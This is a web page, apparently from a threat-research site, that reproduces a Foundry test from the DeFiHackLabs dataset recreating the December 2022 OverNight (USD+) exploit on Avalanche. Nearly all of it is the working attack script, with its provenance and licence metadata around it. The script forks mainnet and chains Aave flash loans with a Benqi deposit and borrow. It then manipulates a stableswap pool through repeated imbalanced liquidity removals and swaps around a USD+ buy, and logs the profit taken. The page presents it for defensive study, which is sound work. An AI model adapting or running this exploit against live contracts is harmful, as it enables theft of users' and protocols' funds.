Skip to content
THREATWIRE

Public reproduction file

src/test/2022-12/Overnight_exp.sol

Public reproduction file for dataset entry - OverNight.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-12/Overnight_exp.sol284 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://twitter.com/peckshield/status/1598704809690877952
9// @Address
10// https://snowtrace.io/address/0xfe2c4cb637830b3f1cdc626b99f31b1ff4842e2c
12interface JoeRouter {
13 function swapAVAXForExactTokens(
14 uint256 amountOut,
15 address[] calldata path,
16 address to,
17 uint256 deadline
18 ) external payable returns (uint256[] memory amounts);
21interface USDPlus {
22 function buy(address _referredBy, uint256 amount) external returns (uint256);
23 function redeem(address to, uint256 amount) external returns (uint256 redeemed);
26interface SwapFlashLoan {
27 function calculateTokenAmount(uint256[] calldata amounts, bool deposit) external view returns (uint256);
29 function addLiquidity(uint256[] calldata amounts, uint256 minToMint, uint256 deadline) external returns (uint256);
31 function calculateRemoveLiquidity(
32 uint256 amount
33 ) external returns (uint256[] memory);
35 function removeLiquidityImbalance(
36 uint256[] calldata amounts,
37 uint256 maxBurnAmount,
38 uint256 deadline
39 ) external returns (uint256);
41 function swap(
42 uint8 tokenIndexFrom,
43 uint8 tokenIndexTo,
44 uint256 dx,
45 uint256 minDy,
46 uint256 deadline
47 ) external returns (uint256);
50interface BenqiFinance {
51 function enterMarkets(
52 address[] memory qiTokens
53 ) external returns (uint256[] memory);
54 function getAccountLiquidity(
55 address account
56 ) external view returns (uint256, uint256, uint256);
57 function getHypotheticalAccountLiquidity(
58 address account,
59 address qiTokenModify,
60 uint256 redeemTokens,
61 uint256 borrowAmount
62 ) external view returns (uint256, uint256, uint256);
65interface BenqiChainlinkOracle {
66 function getUnderlyingPrice(
67 address qiToken
68 ) external view returns (uint256);
71interface QiUSDCn {
72 function mint(
73 uint256 mintAmount
74 ) external returns (uint256);
75 function redeemUnderlying(
76 uint256 redeemAmount
77 ) external returns (uint256);
80interface QiUSDC {
81 function borrow(
82 uint256 borrowAmount
83 ) external returns (uint256);
84 function repayBorrow(
85 uint256 repayAmount
86 ) external returns (uint256);
87 function borrowBalanceStored(
88 address account
89 ) external view returns (uint256);
92interface PlatypusFinance {
93 function swap(
94 address fromToken,
95 address toToken,
96 uint256 fromAmount,
97 uint256 minimumToAmount,
98 address to,
99 uint256 deadline
100 ) external;
103interface NetAsset {
104 function netAssetValue() external view returns (uint256);
107interface TotalNetAsset {
108 function totalNetAssets() external view returns (uint256);
111interface SicleRouter {
112 function swapExactTokensForTokens(
113 uint256 amountIn,
114 uint256 amountOutMin,
115 address[] calldata path,
116 address to,
117 uint256 deadline
118 ) external;
121contract ContractTest is Test {
122 JoeRouter Router = JoeRouter(0x60aE616a2155Ee3d9A68541Ba4544862310933d4);
123 SicleRouter sicleRouter = SicleRouter(0xC7f372c62238f6a5b79136A9e5D16A2FD7A3f0F5);
124 USDPlus USDplus = USDPlus(0x73cb180bf0521828d8849bc8CF2B920918e23032);
125 SwapFlashLoan Swap = SwapFlashLoan(0xED2a7edd7413021d440b09D654f3b87712abAB66);
126 IAaveFlashloan LendingPoolV2 = IAaveFlashloan(0x4F01AeD16D97E3aB5ab2B501154DC9bb0F1A5A2C);
127 IAaveFlashloan PoolV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
128 BenqiFinance Benqi = BenqiFinance(0x486Af39519B4Dc9a7fCcd318217352830E8AD9b4);
129 BenqiChainlinkOracle Oracle = BenqiChainlinkOracle(0x316aE55EC59e0bEb2121C0e41d4BDef8bF66b32B);
130 QiUSDCn qiUSDCn = QiUSDCn(0xB715808a78F6041E46d61Cb123C9B4A27056AE9C);
131 PlatypusFinance Platypus = PlatypusFinance(0x66357dCaCe80431aee0A7507e2E361B7e2402370);
132 QiUSDC qiUSDC = QiUSDC(0xBEb5d47A3f720Ec0a390d04b4d41ED7d9688bC7F);
133 NetAsset netAsset = NetAsset(0xc2c84ca763572c6aF596B703Df9232b4313AD4e3);
134 TotalNetAsset totalNetAsset = TotalNetAsset(0x9Af655c4DBe940962F776b685d6700F538B90fcf);
135 IERC20 USDPLUS = IERC20(0xe80772Eaf6e2E18B651F160Bc9158b2A5caFCA65);
136 IERC20 WAVAX = IERC20(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7);
137 IERC20 nUSD = IERC20(0xCFc37A6AB183dd4aED08C204D1c2773c0b1BDf46);
138 IERC20 DAI_e = IERC20(0xd586E7F844cEa2F87f50152665BCbc2C279D8d70);
139 IERC20 USDT_e = IERC20(0xc7198437980c041c805A1EDcbA50c1Ce5db95118);
140 IERC20 USDC_e = IERC20(0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664);
141 IERC20 USDC = IERC20(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E);
142 IERC20 nUSDLP = IERC20(0xCA87BF3ec55372D9540437d7a86a7750B42C02f4);
143 address avUSDC = 0x46A51127C3ce23fb7AB1DE06226147F446e4a857;
144 uint256 PoolV2BorrowAmount;
145 uint256 amountBuy;
146 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
148 function setUp() public {
149 cheats.createSelectFork("avalanche", 23_097_846);
150 }
152 function testExploit() public payable {
153 amountBuy = 36_000_000_000;
154 address[] memory path = new address[](2);
155 path[0] = address(WAVAX);
156 path[1] = address(USDC);
157 Router.swapAVAXForExactTokens{value: 2830 ether}(amountBuy, path, address(this), block.timestamp);
159 uint256 beforeAttackBalance = USDC.balanceOf(address(this));
160 emit log_named_uint("Before exploit , USDC balance of attacker", beforeAttackBalance / 1e6);
162 Hack();
164 uint256 afterAttackBalance = USDC.balanceOf(address(this));
165 emit log_named_uint("After exploit , USDC balance of attacker", afterAttackBalance / 1e6);
167 uint256 profitAttack = afterAttackBalance - beforeAttackBalance;
168 emit log_named_uint("Profit: USDC balance of attacker", profitAttack / 1e6);
169 }
171 function Hack() public {
172 for (uint256 i = 0; i < 6; i++) {
173 cheats.roll(block.number + 1);
174 PoolV2BorrowAmount = USDC_e.balanceOf(avUSDC);
175 address[] memory assets = new address[](1);
176 assets[0] = address(USDC_e);
177 uint256[] memory amounts = new uint256[](1);
178 amounts[0] = PoolV2BorrowAmount;
179 uint256[] memory modes = new uint256[](1);
180 modes[0] = 0;
181 LendingPoolV2.flashLoan(address(this), assets, amounts, modes, address(this), "", 0); // FlashLoan USDC.e
182 cheats.roll(block.number + 1); // USD+ buy and redeem not allowed in one block
183 // redeem USD+ to USDC
184 if ((totalNetAsset.totalNetAssets() - netAsset.netAssetValue()) > USDPLUS.balanceOf(address(this))) {
185 USDplus.redeem(address(USDC), USDPLUS.balanceOf(address(this)));
186 } else {
187 USDplus.redeem(address(USDC), totalNetAsset.totalNetAssets() - netAsset.netAssetValue());
188 }
189 }
190 USDPLUS.approve(address(sicleRouter), type(uint256).max);
191 address[] memory path = new address[](2);
192 path[0] = address(USDPLUS);
193 path[1] = address(USDC);
194 sicleRouter.swapExactTokensForTokens(USDPLUS.balanceOf(address(this)), 0, path, address(this), block.timestamp);
195 }
197 function executeOperation(
198 address[] calldata assets,
199 uint256[] calldata amounts,
200 uint256[] calldata premiums,
201 address initiator,
202 bytes calldata params
203 ) external payable returns (bool) {
204 if (msg.sender == address(LendingPoolV2)) {
205 USDC_e.approve(address(LendingPoolV2), type(uint256).max);
206 address[] memory assets1 = new address[](1);
207 assets1[0] = address(USDC);
208 uint256[] memory amounts1 = new uint256[](1);
209 amounts1[0] = PoolV2BorrowAmount / 2;
210 uint256[] memory modes = new uint256[](1);
211 modes[0] = 0;
212 PoolV3.flashLoan(address(this), assets1, amounts1, modes, address(this), "", 0); // FlashLoan USDC
214 return true;
215 } else {
216 USDC.approve(address(PoolV3), type(uint256).max);
217 uint256 mintAmount = PoolV2BorrowAmount / 2;
218 USDC.approve(address(qiUSDCn), type(uint256).max);
219 qiUSDCn.mint(mintAmount); // deposit USDC to qiUSDCn
221 address[] memory qiTokens = new address[](1);
222 qiTokens[0] = address(qiUSDCn);
223 Benqi.enterMarkets(qiTokens);
224 (, uint256 accountLiquidity,) = Benqi.getAccountLiquidity(address(this));
225 uint256 oraclePrice = Oracle.getUnderlyingPrice(address(qiUSDC)) / 1e18;
226 uint256 borrowAmount = accountLiquidity / oraclePrice;
227 qiUSDC.borrow(borrowAmount); // borrow USDC.e from qiUSDC
229 // swap USDC.e to nUSD, DAI.e, USDT.e
230 USDC_e.approve(address(Swap), type(uint256).max);
231 nUSDLP.approve(address(Swap), type(uint256).max);
232 uint256[] memory amount = new uint256[](4);
233 amount[2] = USDC_e.balanceOf(address(this));
234 uint256 minToMint = Swap.calculateTokenAmount(amount, true) * 99 / 100;
235 uint256 LPAmount = Swap.addLiquidity(amount, minToMint, block.timestamp);
236 uint256 i = 0;
237 while (i < 9) {
238 uint256[] memory removeAmount = new uint256[](4);
239 removeAmount = Swap.calculateRemoveLiquidity(LPAmount);
240 removeAmount[2] = 0;
241 Swap.removeLiquidityImbalance(removeAmount, LPAmount, block.timestamp);
242 LPAmount = nUSDLP.balanceOf(address(this));
243 i++;
244 }
245 uint256[] memory removeAmount1 = new uint256[](4);
246 removeAmount1 = Swap.calculateRemoveLiquidity(LPAmount);
247 Swap.removeLiquidityImbalance(removeAmount1, LPAmount, block.timestamp);
248 uint256 swapAmount = USDC_e.balanceOf(address(this)) / 3;
249 nUSD.approve(address(Swap), type(uint256).max);
250 DAI_e.approve(address(Swap), type(uint256).max);
251 USDT_e.approve(address(Swap), type(uint256).max);
252 // swap remaining USDC.e to nUSD, DAI.e, USDT.e
253 Swap.swap(2, 0, swapAmount, 0, block.timestamp);
254 Swap.swap(2, 1, swapAmount, 0, block.timestamp);
255 Swap.swap(2, 3, swapAmount, 0, block.timestamp);
257 USDC.approve(address(USDplus), type(uint256).max);
258 USDplus.buy(address(USDC), USDC.balanceOf(address(this))); // tigger Swap.addLiquidity(USDC.e), add USDC.e reserve in Pool
259 // swap nUSD, DAI.e, USDT.e to USDC.e
260 Swap.swap(0, 2, nUSD.balanceOf(address(this)), 0, block.timestamp);
261 Swap.swap(1, 2, DAI_e.balanceOf(address(this)), 0, block.timestamp);
262 Swap.swap(3, 2, USDT_e.balanceOf(address(this)), 0, block.timestamp);
264 USDC_e.approve(address(qiUSDC), qiUSDC.borrowBalanceStored(address(this)));
265 qiUSDC.repayBorrow(qiUSDC.borrowBalanceStored(address(this))); // repay borrow USDC.e
266 qiUSDCn.redeemUnderlying(mintAmount); // withdraw USDC from qiUSDCn
268 USDC_e.approve(address(Platypus), type(uint256).max);
269 uint256 USDC_eSwapAmount = USDC_e.balanceOf(address(this)) - PoolV2BorrowAmount / 9991 * 10_000 + 1000;
270 Platypus.swap(
271 address(USDC_e),
272 address(USDC),
273 USDC_eSwapAmount,
274 USDC_eSwapAmount * 99 / 100,
275 address(this),
276 block.timestamp
277 ); // swap profit USDC.e to USDC
279 return true;
280 }
281 }
283 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “- OverNight” (2022-12-02). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
OverNight
Path
src/test/2022-12/Overnight_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
4cadde39874e8018bc27a3ce04fedd999a4f32e0
Language
Solidity
Size
285 lines
Date
2022-12-02
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-12/Overnight_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4cadde39874e8018bc27a3ce04fedd999a4f32e0, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.